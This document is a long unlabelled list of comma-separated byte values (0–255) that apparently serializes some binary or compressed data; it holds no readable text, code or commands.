144,182,137,146,104,245,162,105,153,193,188,92,172,197,245,28,79,113,139,117,153,82,61,173,198,192,92,108,160,69,220,218,22,27,113,214,44,90,104,99,77,168,53,15,121,119,81,252,88,132,19,139,199,209,38,143,167,112,55,71,218,67,235,247,82,216,76,161,149,194,150,76,107,54,138,219,81,163,18,241,86,42,222,70,97,59,133,14,10,59,40,236,164,176,43,35,221,141,86,225,26,160,56,140,105,251,150,195,212,197,12,125,144,86,195,228,53,49,18,220,79,240,32,175,49,202,201,229,128,128,51,88,125,33,245,165,194,112,63,62,48,185,32,84,53,106,192,231,38,251,70,52,18,72,6,177,232,230,8,249,242,93,168,150,34,249,192,56,33,175,58,49,234,174,154,112,71,52,98,68,171,38,70,53,16,76,47,81,103,230,149,192,217,2,207,189,82,86,42,96,165,23,93,201,74,33,128,17,185,32,180,231,117,136,38,44,124,133,238,163,83,8,13,139,192,123,224,151,7,177,92,5,25,230,38,42,42,142,178,178,137,145,167,89,81,21,43,27,169,26,213,239,217,239,55,96,28,78,236,255,229,149,172,172,116,68,35,131,99,201,241,79,163,58,52,92,111,56,81,105,96,54,218,131,26,185,225,220,239,62,249,22,164,30,75,47,254,248,50,77,158,97,198,101,46,212,40,241,0,220,137,251,104,190,206,171,81,149,64,142,139,91,167,132,45,208,250,95,146,194,9,163,160,204,237,126,233,34,189,214,75,17,45,69,10,189,7,40,86,138,88,21,143,64,241,192,55,217,130,114,72,147,33,251,57,222,118,23,78,62,185,166,144,85,104,88,54,79,163,102,149,26,141,90,206,42,216,60,86,89,82,89,42,169,134,129,149,168,149,44,37,149,234,149,90,158,2,213,72,211,234,217,50,158,66,69,88,121,153,190,164,156,167,240,106,202,43,43,114,213,84,232,149,186,92,53,58,61,91,153,171,166,82,95,82,149,171,166,170,82,47,207,213,163,151,235,149,122,69,174,38,189,66,207,234,243,114,117,233,243,244,37,122,101,174,54,189,178,82,159,191,66,93,62,168,83,173,80,167,2,117,5,43,212,21,128,186,194,92,117,165,21,122,86,82,109,207,210,166,3,235,212,60,41,173,44,15,212,105,120,26,175,172,68,95,164,47,226,73,188,174,138,10,125,113,174,46,232,148,92,95,178,66,89,1,40,43,205,85,86,14,202,180,185,202,244,242,10,125,217,10,109,42,208,86,158,171,173,12,136,21,185,202,170,64,153,110,133,178,252,10,125,101,174,50,45,232,170,202,213,85,9,186,244,185,186,192,177,69,122,195,138,110,150,235,55,72,170,91,179,116,85,129,131,142,226,73,203,46,43,212,111,228,105,105,101,208,111,253,38,158,150,246,127,185,126,115,174,178,114,16,221,146,171,172,18,116,29,189,66,151,2,116,85,231,234,210,231,151,235,183,230,42,43,1,101,219,114,149,149,129,178,237,185,202,116,160,107,199,10,93,48,38,59,115,117,129,47,242,244,53,43,186,9,103,40,253,49,185,218,180,160,205,152,171,173,68,167,55,73,170,219,178,148,85,66,7,204,60,105,57,100,11,244,181,60,141,215,5,17,165,175,227,73,153,9,160,211,215,231,42,43,3,101,13,43,148,161,105,141,185,202,74,65,153,37,87,89,149,78,223,148,171,11,196,20,250,93,185,202,116,64,60,54,87,23,204,185,98,253,113,185,202,202,117,250,227,87,40,195,25,176,59,87,153,22,148,237,89,161,76,14,202,246,114,52,96,41,116,107,80,154,117,107,176,94,237,214,32,147,198,173,81,178,249,176,160,231,179,249,50,125,225,137,182,27,225,108,6,27,9,61,163,22,177,114,204,174,21,37,108,81,73,57,38,157,10,86,145,38,148,243,132,188,52,161,170,188,122,10,27,82,166,9,122,37,207,82,4,251,212,141,2,161,160,83,40,218,47,28,19,239,63,224,86,73,85,162,151,254,195,189,128,91,189,74,82,58,2,101,149,184,186,29,51,22,215,54,158,87,188,95,36,30,251,84,222,111,114,122,61,98,207,145,25,175,65,62,145,80,60,118,224,83,24,97,27,105,21,232,13,194,17,189,126,191,95,32,4,232,61,0,196,232,2,38,36,187,232,19,38,216,173,37,165,52,65,89,192,252,100,91,133,81,72,252,132,190,219,194,22,41,170,29,152,239,225,211,241,196,219,144,251,38,190,162,36,241,106,216,185,21,213,112,14,150,164,182,224,14,125,24,143,132,91,146,144,66,42,20,135,145,149,47,98,210,182,229,8,98,184,255,75,182,49,244,140,169,36,250,237,68,41,161,111,251,52,146,60,43,125,194,199,228,25,5,164,138,75,183,56,165,91,184,36,234,48,30,177,183,148,114,101,62,97,99,248,55,230,88,150,211,51,67,77,223,133,156,73,200,253,20,130,106,13,230,219,130,234,22,154,98,211,247,153,48,217,147,99,14,141,86,139,196,23,132,172,152,73,136,232,27,76,128,41,132,226,18,73,172,8,219,21,64,169,186,7,36,69,146,145,66,129,168,196,250,11,216,90,183,53,8,132,34,177,80,132,89,187,98,11,175,115,148,224,251,88,132,45,81,88,58,80,77,12,206,98,10,145,68,95,61,90,229,158,112,199,224,240,166,16,199,32,125,85,228,113,55,37,119,219,194,221,242,101,2,43,230,240,2,153,212,221,140,198,200,5,110,217,200,54,73,169,91,33,17,238,249,1,62,45,223,134,239,119,72,200,12,212,230,225,91,57,52,7,85,44,96,22,185,171,21,18,174,5,204,34,55,107,54,87,151,1,61,89,142,45,173,200,85,19,127,135,225,136,85,96,181,14,45,144,85,39,161,103,37,19,213,41,184,201,56,12,159,198,40,66,177,42,106,83,76,15,55,249,5,161,146,221,191,4,215,64,161,124,159,70,132,183,19,52,98,184,113,243,75,2,169,85,9,100,62,162,146,221,18,154,232,195,60,20,151,104,228,37,26,133,101,55,62,222,87,148,143,66,202,131,121,18,77,121,96,246,138,75,71,246,218,232,201,163,100,247,113,244,152,34,43,209,168,232,33,145,85,241,106,100,85,94,76,167,228,208,78,41,171,114,143,92,116,0,80,21,232,86,65,198,35,218,131,73,22,29,62,200,111,228,114,200,80,184,76,9,74,90,62,77,130,98,41,151,35,65,233,37,42,46,197,140,143,149,26,182,139,153,237,75,170,163,137,225,24,125,129,111,73,85,77,150,84,91,137,225,250,231,238,61,176,164,218,70,12,255,211,248,209,142,37,213,118,98,88,120,232,220,246,37,213,14,56,102,85,147,153,240,70,62,34,201,94,5,61,122,85,147,210,17,42,172,220,6,181,28,207,9,220,205,29,89,82,237,132,138,157,100,23,199,187,147,242,34,233,104,202,139,112,36,130,244,19,17,113,115,122,182,175,209,202,118,42,185,61,35,185,157,107,101,59,223,74,13,173,24,55,136,111,128,196,120,73,89,67,60,81,74,152,192,74,78,10,77,114,99,119,209,80,125,129,159,222,88,239,1,158,126,12,208,143,33,48,62,159,144,253,75,42,35,135,1,242,201,254,116,93,21,136,24,9,56,18,189,179,164,220,65,12,5,240,130,106,19,135,189,13,47,192,204,128,153,72,57,48,155,73,57,167,222,147,230,209,231,123,233,77,227,63,192,57,116,43,189,244,5,94,15,250,158,195,169,31,182,102,42,75,253,89,117,219,114,235,244,170,108,193,29,233,202,237,164,210,203,117,11,4,60,88,57,146,230,154,9,71,48,225,231,130,111,128,15,62,124,19,31,34,66,230,209,20,148,104,10,45,53,136,22,150,236,198,197,3,246,63,47,238,42,85,184,171,72,96,175,41,116,179,5,172,114,63,155,143,107,42,228,251,133,16,139,133,108,33,196,226,163,24,139,221,25,85,44,101,103,105,196,227,193,0,176,82,55,224,224,83,178,191,202,207,81,180,148,130,62,215,23,242,164,50,142,4,142,215,107,145,164,40,197,77,14,12,222,115,23,62,147,151,228,23,105,36,48,27,170,78,128,92,62,105,192,89,124,9,76,88,141,166,68,83,100,57,10,91,215,196,190,134,132,98,86,83,61,141,133,18,41,91,204,150,224,155,33,176,125,129,178,34,182,136,85,239,121,134,190,215,16,187,12,56,164,244,12,122,24,223,38,96,55,87,207,0,229,69,137,1,159,116,197,64,159,66,83,90,162,209,90,254,23,31,71,151,178,218,203,53,101,108,89,108,35,210,203,233,162,195,150,199,54,33,86,193,86,160,213,123,247,151,44,9,52,58,64,64,255,158,253,154,138,172,197,103,51,90,80,33,137,109,193,61,245,124,88,10,153,216,209,80,228,78,243,149,108,101,12,78,224,138,38,124,94,200,150,21,65,43,91,145,191,178,122,27,202,110,199,99,253,56,26,81,25,219,129,237,85,177,85,176,36,184,53,144,195,83,85,26,3,212,236,68,214,26,212,82,140,90,12,37,105,26,28,181,21,215,208,147,31,16,15,225,6,65,77,186,166,68,179,193,82,74,169,236,6,24,157,42,118,195,229,49,35,86,32,170,217,192,110,192,86,246,252,22,31,74,8,57,107,102,49,47,48,72,74,147,38,180,226,40,246,168,152,25,11,27,75,52,155,44,115,168,105,147,102,11,187,197,142,15,193,240,9,8,190,205,143,143,217,112,175,177,208,197,110,227,66,45,90,84,135,29,106,230,8,245,25,130,145,35,52,224,94,57,135,15,47,244,28,161,49,195,161,226,8,22,180,102,83,172,137,222,192,212,77,236,38,86,191,231,116,28,212,141,11,187,210,220,236,70,86,71,151,158,133,99,81,22,13,90,56,142,246,35,118,60,173,94,216,157,97,5,151,31,37,137,237,73,59,155,213,130,86,45,171,101,75,193,1,248,180,63,251,244,78,72,115,29,247,49,17,220,159,77,208,217,94,81,238,103,86,240,133,143,184,240,66,65,216,158,153,154,68,91,62,236,60,123,113,35,174,73,156,146,41,167,247,227,163,104,38,64,216,196,15,176,170,153,110,188,213,86,220,222,112,215,86,72,74,36,23,132,98,54,250,216,140,40,42,240,121,140,128,168,249,182,86,63,97,88,206,9,242,242,136,132,123,102,45,33,195,128,3,39,123,104,87,58,6,18,47,67,107,90,26,67,208,4,190,175,207,199,134,164,244,80,233,50,130,231,27,5,255,46,67,158,180,68,192,189,179,45,45,21,94,35,165,143,242,82,48,136,204,54,216,155,69,228,111,208,134,10,247,230,84,57,202,207,227,3,206,86,12,74,124,204,198,17,99,109,52,71,122,10,8,89,54,243,117,237,56,6,14,4,29,104,159,94,197,127,24,36,214,137,97,65,53,109,251,140,220,138,195,209,21,77,196,186,144,203,4,92,177,110,204,139,74,104,143,98,61,105,5,156,254,163,63,11,171,226,48,155,171,156,182,75,135,19,186,205,249,126,251,118,206,247,16,37,100,223,5,233,242,87,201,240,159,210,99,34,38,253,132,62,185,100,23,240,145,210,46,8,105,82,237,1,159,37,90,84,124,24,36,122,161,84,221,139,214,65,126,37,81,72,14,85,166,23,149,234,62,244,61,162,244,129,20,85,1,105,89,236,114,46,205,35,56,230,206,180,254,246,140,254,147,81,191,15,181,158,130,165,233,149,250,171,50,250,79,197,140,21,81,250,168,139,170,192,180,47,246,205,116,30,41,165,159,222,161,250,241,49,216,174,150,140,253,7,51,246,127,37,83,186,26,91,234,207,106,73,159,219,18,162,244,113,26,85,134,45,169,68,177,107,210,109,101,245,165,35,215,87,190,76,11,63,88,217,23,67,110,11,136,210,71,117,84,5,237,203,183,151,115,226,204,88,116,230,234,191,47,227,171,199,177,116,26,198,52,175,127,3,234,95,64,2,29,11,68,233,67,64,170,2,199,226,198,204,88,136,72,111,90,127,87,174,254,223,100,236,127,99,165,253,71,229,234,71,148,123,188,136,64,16,251,62,213,254,251,133,238,244,19,199,234,211,241,208,130,11,83,226,253,140,86,105,65,90,235,8,212,210,135,146,84,130,251,252,144,152,184,185,53,138,21,148,149,150,38,157,152,53,151,40,165,52,11,206,151,135,52,34,86,68,179,92,133,5,246,42,34,149,64,154,75,15,6,26,177,140,21,187,149,172,136,21,143,32,83,201,241,47,193,10,124,24,63,223,33,109,194,121,33,141,65,142,161,120,81,66,159,119,10,224,100,176,199,129,203,15,33,229,73,23,93,200,204,130,148,25,39,213,32,183,172,209,49,8,225,18,15,255,171,125,232,128,106,24,38,73,158,84,111,224,223,223,27,78,63,92,142,13,1,144,242,231,219,205,135,220,72,95,196,220,125,24,23,75,105,12,8,138,210,228,8,77,241,5,37,2,88,59,193,161,10,89,236,4,172,174,134,67,158,36,159,62,32,151,167,199,6,223,57,80,227,250,91,12,206,82,72,232,226,92,178,27,231,184,150,123,122,42,45,41,189,82,90,170,189,82,186,141,35,40,101,64,144,1,65,182,45,71,222,241,57,229,79,251,156,242,183,124,78,249,87,63,167,124,89,225,231,147,239,254,156,242,7,63,167,252,109,159,83,254,141,127,92,190,138,123,231,102,91,148,100,191,33,182,36,23,194,37,34,244,217,203,182,109,88,21,59,145,206,20,174,92,66,203,187,210,34,244,120,157,174,251,26,201,122,47,109,223,178,252,73,43,100,234,178,100,218,104,185,138,91,147,120,254,102,74,219,157,177,139,174,66,219,178,240,94,154,207,112,237,200,86,212,237,95,129,227,188,197,190,30,192,251,122,239,91,109,193,79,125,42,210,239,61,121,104,251,184,46,28,196,121,138,235,2,102,67,130,152,23,183,96,73,94,102,97,24,73,47,12,74,202,32,164,12,213,93,56,207,233,98,163,17,209,165,68,35,102,197,50,186,118,176,98,57,93,43,112,249,194,207,255,242,171,5,190,195,34,45,145,242,235,5,43,161,11,6,44,120,184,68,225,178,65,215,169,244,120,245,112,119,129,144,62,75,56,173,31,151,84,179,224,20,188,243,163,67,72,3,135,11,233,227,4,32,236,230,113,216,121,2,72,73,243,143,241,252,105,92,207,227,184,121,164,219,195,242,54,21,163,34,177,91,185,241,61,180,19,189,215,135,136,89,37,80,17,21,19,187,147,223,111,106,14,213,172,170,187,59,83,119,76,166,110,151,74,136,117,42,65,236,126,94,167,113,141,186,135,248,58,211,42,157,63,207,232,52,103,234,142,2,11,159,200,208,107,87,201,28,202,212,213,101,234,184,126,61,205,183,83,191,74,230,249,140,76,195,10,153,23,121,153,198,21,244,151,120,186,101,5,253,21,158,222,180,170,141,215,51,109,236,90,85,247,102,166,238,216,76,157,85,37,226,252,163,18,198,222,206,212,31,183,162,189,119,249,246,142,207,241,207,7,25,254,221,171,218,250,40,83,183,39,83,215,161,18,167,219,130,164,8,242,72,170,115,239,138,182,68,60,189,121,5,93,198,211,173,43,232,74,158,222,178,130,94,200,211,109,43,232,69,60,221,190,70,140,104,249,186,214,85,253,209,49,233,254,180,173,208,103,224,101,218,87,201,108,202,200,56,86,213,85,103,234,58,214,176,99,7,175,179,115,69,91,70,158,222,181,130,94,199,211,187,151,199,117,160,195,202,16,238,205,110,124,14,50,99,174,49,214,212,27,27,205,248,180,23,78,182,97,128,59,32,199,223,8,137,217,101,112,199,140,124,227,64,42,17,138,6,147,200,49,14,46,48,192,210,191,113,112,128,156,51,204,125,111,98,99,219,160,3,143,192,151,1,238,206,3,220,26,198,53,138,190,224,44,201,12,223,38,56,78,94,64,50,47,108,29,140,33,248,76,5,114,58,210,8,132,126,184,206,228,214,65,122,190,86,240,101,228,77,127,23,37,47,11,199,107,19,167,159,242,18,114,62,223,43,9,252,219,2,215,32,25,5,232,161,48,72,97,140,210,111,164,229,135,41,124,129,65,168,20,34,44,16,33,252,153,20,97,175,156,74,81,56,79,225,11,20,254,145,194,119,41,100,20,74,133,132,252,82,129,229,255,166,240,246,60,132,55,43,145,254,146,18,203,175,210,242,219,20,238,204,71,24,201,63,59,95,66,190,159,255,19,128,54,85,175,74,66,230,84,200,249,23,90,30,46,192,242,76,1,218,249,31,180,124,5,133,47,81,72,10,17,58,10,81,195,137,180,60,93,120,70,161,132,92,78,41,247,83,248,2,133,75,133,98,86,66,154,88,132,115,44,182,123,54,251,85,40,127,151,194,59,216,251,0,230,169,177,118,139,26,107,107,41,188,90,141,58,55,104,144,167,154,194,239,104,144,242,160,230,113,141,132,168,138,74,138,36,164,163,8,165,38,139,144,255,70,10,247,23,35,101,130,194,36,133,11,20,158,83,76,253,89,140,246,188,67,161,160,228,236,124,5,217,82,113,76,133,138,124,185,226,146,10,9,121,168,98,20,78,212,219,117,38,157,130,156,169,59,6,40,183,234,80,106,73,135,30,40,171,196,22,143,165,176,155,194,193,202,81,58,198,151,242,113,196,144,131,144,128,255,39,185,134,148,81,76,8,33,0,123,47,169,4,188,144,98,207,243,88,17,197,222,227,49,45,197,10,24,14,211,81,108,39,143,25,40,214,202,99,155,40,182,143,199,170,41,54,199,99,59,40,118,49,143,25,41,246,3,30,171,35,121,96,217,195,128,109,0,204,66,177,151,41,86,201,125,106,142,126,134,174,12,34,210,66,52,80,58,86,128,117,213,124,29,126,60,183,140,199,10,201,217,130,175,11,56,76,12,156,55,9,176,133,109,228,120,202,121,191,224,87,80,183,141,52,211,214,95,163,117,61,144,81,136,65,238,111,128,109,6,236,44,138,149,8,81,103,15,57,155,98,219,41,214,75,206,165,58,241,65,126,37,96,95,166,90,250,121,236,43,36,31,172,246,11,209,178,94,114,9,149,155,165,114,253,128,33,231,151,40,167,147,124,157,98,223,224,177,111,80,236,102,30,187,154,98,63,229,177,111,81,236,89,30,251,14,197,222,224,177,239,81,236,35,192,182,2,118,11,237,123,145,232,104,81,25,25,160,24,33,187,68,216,186,139,220,74,125,118,186,8,45,219,199,99,223,200,193,126,156,131,61,151,131,189,155,131,177,226,108,172,38,131,225,114,130,31,223,168,204,96,39,81,108,63,126,31,14,176,41,138,29,32,119,83,236,76,138,121,200,253,20,251,26,197,188,228,33,138,221,72,49,31,249,57,197,238,161,152,159,60,65,177,67,20,27,35,135,40,246,50,197,130,228,105,138,189,71,177,113,140,97,192,228,18,196,66,228,69,138,233,40,54,129,95,255,2,236,24,138,77,146,87,40,102,165,88,152,188,78,177,65,138,69,200,155,20,27,167,88,148,188,77,177,83,40,22,195,79,130,2,118,1,197,226,228,3,138,93,77,177,41,242,17,197,110,165,88,130,155,116,228,17,138,37,137,136,98,191,166,88,10,191,3,5,216,159,41,54,77,148,220,54,35,69,108,134,20,82,76,67,177,89,82,68,177,45,20,155,35,90,138,53,81,108,158,232,40,214,69,177,147,241,171,123,128,237,167,216,41,100,19,197,18,20,59,149,84,83,236,108,138,157,70,118,80,236,114,138,45,16,35,197,190,79,177,211,73,29,195,146,7,165,199,194,233,251,9,233,30,128,207,80,248,27,10,95,165,240,125,10,69,50,132,37,20,110,164,208,68,97,51,133,125,20,122,0,154,72,68,102,5,120,178,172,21,224,133,178,14,128,87,203,122,0,222,33,115,2,252,185,108,8,224,115,178,81,128,127,148,157,4,240,35,153,23,32,43,31,131,93,205,32,159,128,121,47,85,254,26,96,49,133,71,41,85,130,13,100,7,64,9,169,167,229,93,202,61,16,135,54,10,187,16,22,58,149,44,208,135,129,127,3,241,80,56,65,97,10,160,134,57,77,169,21,104,152,139,16,146,111,41,117,2,150,220,161,52,64,249,168,252,62,40,55,228,187,0,54,231,187,1,118,81,56,156,207,66,173,55,255,4,40,95,155,191,31,224,179,249,65,128,191,203,199,47,120,189,73,225,251,249,191,198,175,210,169,16,230,171,176,86,171,154,0,184,81,21,5,88,163,66,61,77,170,41,128,94,74,137,168,166,65,231,130,106,14,224,185,0,89,242,85,160,176,228,63,105,237,141,148,255,54,10,239,167,148,199,169,230,103,129,162,33,47,171,78,5,202,7,170,69,128,194,130,51,1,170,10,206,1,88,86,112,30,192,77,5,23,1,60,166,224,82,128,187,10,80,234,183,165,65,129,144,156,172,117,3,60,75,203,10,24,114,161,86,47,145,72,46,41,67,205,87,148,129,78,230,214,178,43,37,26,230,231,101,87,3,124,177,236,219,0,223,46,251,46,64,81,249,205,0,181,229,88,222,81,126,27,192,189,229,63,6,232,42,7,126,50,94,126,31,192,4,133,103,151,63,5,240,194,242,87,1,94,94,254,55,128,215,149,23,72,53,228,251,229,155,1,222,89,222,4,240,65,10,159,40,239,6,248,108,185,15,224,75,229,167,0,252,99,249,127,0,124,183,252,59,0,151,202,239,1,40,171,248,47,128,234,138,63,1,212,85,48,50,13,177,87,84,3,236,173,216,5,112,164,162,21,160,175,226,68,128,145,138,5,128,179,21,231,1,60,88,241,77,128,223,174,184,21,224,205,21,15,0,252,113,197,175,0,62,87,241,14,192,223,85,72,229,26,242,167,138,74,128,127,173,168,5,72,116,189,0,243,116,1,128,37,186,121,121,159,1,87,206,139,72,173,60,10,83,194,101,224,246,207,227,229,41,200,157,140,27,56,204,5,152,144,174,176,139,228,34,67,88,126,62,255,221,89,196,46,144,227,202,111,59,138,211,242,109,249,229,48,165,207,57,138,147,123,72,126,35,145,147,143,182,211,58,237,102,197,43,144,163,233,142,65,236,18,178,67,97,96,242,72,53,143,237,81,108,2,204,200,99,78,197,86,192,108,60,22,80,24,1,115,243,216,233,138,70,70,73,252,60,118,49,232,84,146,48,143,125,139,214,17,154,255,157,173,237,37,199,101,176,135,153,42,133,149,81,101,176,135,21,109,76,65,6,123,79,209,199,168,115,228,52,89,114,67,76,113,150,220,62,166,52,75,110,156,169,200,145,211,229,200,85,229,200,25,114,228,54,229,200,109,206,145,59,58,71,110,107,142,220,206,28,185,154,28,57,99,142,156,57,71,174,33,71,174,49,75,46,202,52,101,201,205,50,187,115,252,98,207,145,107,205,146,59,147,105,207,146,251,10,211,157,37,247,77,198,149,35,55,148,37,247,109,198,157,37,119,11,179,47,75,238,126,198,159,35,23,204,146,123,140,9,101,201,29,98,38,115,236,140,229,200,197,179,228,126,205,36,178,228,222,100,78,205,146,19,8,206,33,115,124,244,60,166,220,36,248,50,57,135,58,17,181,52,146,243,200,85,20,227,98,247,60,242,162,145,227,252,80,105,96,206,35,175,243,88,126,126,163,224,188,156,214,207,203,106,253,56,193,5,89,173,55,11,190,146,213,122,135,224,98,242,118,86,11,151,144,46,58,104,7,201,207,10,26,1,235,51,115,45,252,170,224,14,193,37,228,3,154,252,93,68,254,90,240,166,224,171,100,83,19,135,73,11,223,20,92,73,250,120,76,13,216,117,100,142,199,42,1,187,137,92,199,99,213,133,31,10,110,37,119,54,113,58,107,11,13,204,237,228,105,30,219,13,233,240,237,228,192,46,14,187,177,240,21,114,59,185,146,199,110,43,188,67,112,59,185,155,199,254,183,176,66,120,7,36,164,28,86,196,214,9,127,66,10,121,172,134,237,16,222,71,230,40,118,41,137,176,19,194,159,18,163,149,107,125,78,147,18,61,68,142,227,177,47,0,246,51,210,110,229,228,46,208,188,2,39,174,46,30,251,186,38,5,216,169,60,231,159,53,151,138,30,33,139,60,246,1,112,62,66,110,230,49,97,209,229,80,87,212,194,201,237,41,106,100,30,165,222,93,36,151,26,238,47,58,36,122,44,131,61,87,244,140,232,113,98,179,113,114,191,47,250,141,232,73,114,29,143,169,139,223,20,29,34,34,59,239,179,226,119,69,79,147,56,143,85,23,75,196,47,144,67,60,86,91,92,32,62,76,140,173,28,182,187,184,68,252,18,57,143,195,100,142,226,10,241,239,200,207,249,58,87,241,25,162,223,145,227,218,56,203,174,44,110,18,255,158,216,120,236,250,226,61,128,185,218,56,206,31,23,223,33,120,153,60,209,198,141,123,89,73,155,24,86,180,118,14,219,68,177,46,30,59,134,98,231,241,216,46,138,61,193,99,118,78,206,193,97,125,156,28,197,190,64,78,224,228,120,108,140,147,227,177,41,78,174,131,195,78,229,228,58,150,103,192,43,196,213,193,89,253,197,146,211,160,46,206,99,151,151,52,50,175,144,83,121,236,86,138,157,195,99,143,148,124,9,56,47,227,177,95,151,92,8,216,117,60,246,231,146,251,132,175,144,155,121,76,92,250,31,80,119,55,143,29,93,122,5,90,198,99,187,74,81,231,243,60,214,93,90,1,117,47,241,216,1,90,247,38,143,37,75,175,133,186,143,120,236,236,210,27,177,71,157,124,44,149,94,33,120,133,104,121,236,166,210,155,161,174,154,199,30,47,189,29,48,124,165,231,109,26,227,230,237,107,25,12,231,237,31,50,24,206,219,63,18,75,103,218,75,199,9,254,68,246,102,176,70,200,164,221,124,11,239,148,26,152,55,137,159,199,68,218,159,137,223,36,97,30,43,211,190,38,122,147,124,148,37,247,151,28,91,254,146,101,203,159,196,111,103,217,242,158,248,189,44,91,196,146,165,28,57,238,49,7,39,151,47,17,48,203,114,108,22,246,158,162,76,34,98,68,93,233,214,127,41,20,51,90,138,125,65,118,133,246,4,161,132,169,230,48,242,109,237,97,192,44,60,118,139,118,135,80,202,180,243,216,221,218,15,133,10,198,205,99,79,105,27,137,130,201,182,69,145,101,203,38,137,50,203,150,237,146,130,28,91,138,114,228,138,179,228,26,36,165,89,114,187,37,21,57,114,27,114,228,142,202,146,235,144,108,202,146,27,148,108,205,146,243,75,140,57,114,230,44,185,176,164,46,75,110,90,98,201,146,59,67,178,59,71,110,111,150,220,151,36,214,44,185,139,36,246,28,59,59,114,228,58,179,228,172,76,119,150,92,27,211,147,37,215,199,244,51,227,93,92,188,124,187,236,21,226,100,194,153,17,107,4,44,69,49,110,239,112,242,114,173,164,74,241,144,196,201,204,209,186,18,114,106,249,163,146,116,157,132,182,238,100,206,164,117,133,171,228,158,5,206,11,51,114,47,174,146,187,106,29,185,63,2,231,77,25,185,183,87,201,221,189,142,220,18,112,254,60,35,39,150,174,148,123,126,29,185,34,224,124,37,35,87,177,74,238,221,117,228,182,33,103,119,90,206,184,74,174,176,123,109,185,221,192,169,203,200,217,86,201,85,175,35,231,4,206,186,140,220,200,42,57,219,58,114,227,192,217,151,145,139,175,146,59,113,29,185,69,224,28,207,200,157,187,74,110,110,29,185,203,129,243,204,140,220,85,171,228,46,92,71,238,251,192,121,101,70,238,214,85,114,55,172,35,247,32,112,222,154,145,123,100,149,220,253,235,200,61,13,156,79,100,228,126,187,74,238,197,117,228,222,6,206,215,51,114,239,175,146,251,96,29,185,2,153,147,17,245,164,229,202,101,43,229,180,61,107,203,237,4,206,77,25,57,243,42,57,227,58,114,31,10,157,204,113,25,185,61,171,228,218,215,145,235,4,78,87,70,206,185,74,206,191,142,156,7,56,227,25,185,232,42,185,51,215,145,59,12,118,94,152,145,251,194,42,185,43,215,145,187,8,56,111,200,200,93,186,74,238,214,117,228,174,5,206,251,51,114,55,174,146,123,98,29,185,227,4,176,134,100,228,238,90,37,247,202,58,114,15,3,231,219,25,185,199,87,201,125,180,142,220,243,192,41,235,77,203,189,188,58,94,122,215,150,123,15,227,37,35,247,241,42,185,186,117,228,148,114,39,179,55,35,167,145,175,148,235,90,71,238,40,224,116,103,228,182,174,146,27,95,71,206,2,156,169,140,156,117,149,220,153,235,200,185,128,243,194,140,220,9,171,228,174,90,71,110,2,56,111,202,200,197,87,201,221,185,142,220,2,112,62,148,145,59,115,149,220,161,21,114,12,177,200,17,118,82,232,147,227,99,197,69,90,254,6,148,5,124,249,78,57,190,159,116,15,45,63,65,203,79,81,56,167,160,181,138,229,218,251,20,105,40,32,127,86,96,203,119,82,10,190,69,149,203,57,71,203,210,188,220,178,144,74,137,254,95,44,197,245,189,128,114,150,226,151,179,73,85,30,190,115,183,49,239,211,106,37,84,179,116,93,205,219,243,176,92,75,101,247,80,217,86,42,219,159,247,105,181,185,154,251,41,231,103,215,127,210,17,245,159,180,74,255,30,202,121,18,229,60,82,43,185,58,143,236,213,113,202,57,71,57,207,164,173,95,74,91,191,158,182,126,79,30,182,254,120,30,126,34,247,185,60,252,142,203,235,248,77,96,242,110,222,231,147,205,163,86,41,121,171,94,167,122,222,205,234,215,243,202,149,118,226,47,29,113,112,173,248,255,109,65,26,10,40,20,82,40,162,80,76,161,132,66,41,133,178,255,199,243,31,185,71,255,28,125,61,184,186,197,213,244,108,157,159,222,186,48,139,46,224,251,251,217,109,254,108,214,254,99,241,144,91,110,209,98,185,91,139,82,78,45,49,136,200,176,22,199,101,159,22,199,37,164,253,108,60,82,218,174,140,111,55,164,93,158,251,217,109,253,153,198,240,218,182,29,217,183,12,121,145,234,124,133,218,240,39,237,90,20,17,213,47,94,165,63,173,225,127,40,255,71,148,95,136,63,74,67,138,202,214,167,139,169,54,201,186,218,190,65,247,166,170,50,97,102,165,218,81,134,227,107,42,251,180,218,229,117,12,127,98,11,41,107,249,42,219,170,118,106,213,224,42,107,151,233,185,214,14,174,163,211,79,233,169,50,148,253,66,217,90,148,79,243,225,87,202,210,112,101,164,201,73,47,209,144,173,4,79,206,35,228,191,229,123,200,20,121,85,254,107,114,144,82,46,194,172,150,152,104,249,46,98,47,184,66,112,23,9,21,92,43,144,51,103,21,220,32,120,131,210,255,70,225,11,228,251,5,63,20,156,75,254,80,240,130,128,101,222,46,248,111,65,19,51,86,168,20,58,24,172,237,167,112,132,249,67,97,145,208,195,20,176,59,132,35,140,158,221,35,12,49,173,236,9,64,25,100,61,80,246,178,99,194,115,153,67,236,125,194,34,170,243,41,242,44,251,56,208,241,57,140,135,121,155,125,1,202,127,103,15,3,20,171,193,54,160,191,12,156,90,245,27,194,187,136,78,253,142,240,106,102,183,250,67,160,244,169,151,128,50,162,22,139,238,34,126,181,66,116,11,153,83,23,138,46,34,103,171,117,162,71,201,37,106,131,232,59,204,141,234,205,80,190,75,125,12,208,31,84,215,139,174,102,14,1,253,46,242,123,224,185,139,252,15,148,167,24,162,49,136,230,161,149,227,0,170,53,14,209,93,140,81,211,43,58,200,88,52,46,40,31,15,229,187,24,59,133,221,20,14,242,181,39,64,121,31,165,140,81,56,201,211,125,80,78,65,121,30,90,15,139,70,200,219,236,135,194,17,114,157,102,65,244,0,115,139,230,12,209,163,204,115,154,115,0,190,172,185,0,108,168,47,250,174,232,5,166,183,232,78,209,83,100,168,104,1,160,175,232,30,209,239,152,57,40,155,200,89,0,71,200,5,69,63,133,242,165,69,104,249,55,139,30,21,189,193,220,81,116,24,198,241,207,69,175,137,158,98,222,45,186,92,132,229,79,68,239,64,47,182,139,89,193,87,139,57,191,33,252,97,113,155,216,196,252,178,248,101,161,137,249,53,133,191,43,30,21,151,9,122,201,1,177,135,209,148,68,0,162,159,155,153,239,149,156,45,62,151,33,165,247,9,31,32,218,82,240,12,185,175,244,102,177,131,142,145,142,190,167,248,40,243,135,130,195,160,109,147,118,84,252,0,83,167,125,89,28,162,163,28,98,30,209,98,31,55,232,206,151,163,37,23,203,29,130,11,192,158,17,210,167,187,76,254,0,51,170,251,166,252,81,198,163,227,122,125,157,252,41,102,82,119,163,188,140,246,238,59,36,161,187,25,106,231,160,22,189,113,155,188,95,112,161,238,39,32,117,133,238,97,249,20,185,86,119,169,232,92,114,147,238,113,249,136,224,39,186,255,166,177,247,75,90,251,188,188,73,240,51,221,97,128,79,235,26,201,3,204,89,69,41,240,201,11,186,87,228,183,144,255,214,253,69,142,209,242,174,28,163,226,67,249,83,228,79,58,177,200,35,192,190,132,0,62,164,56,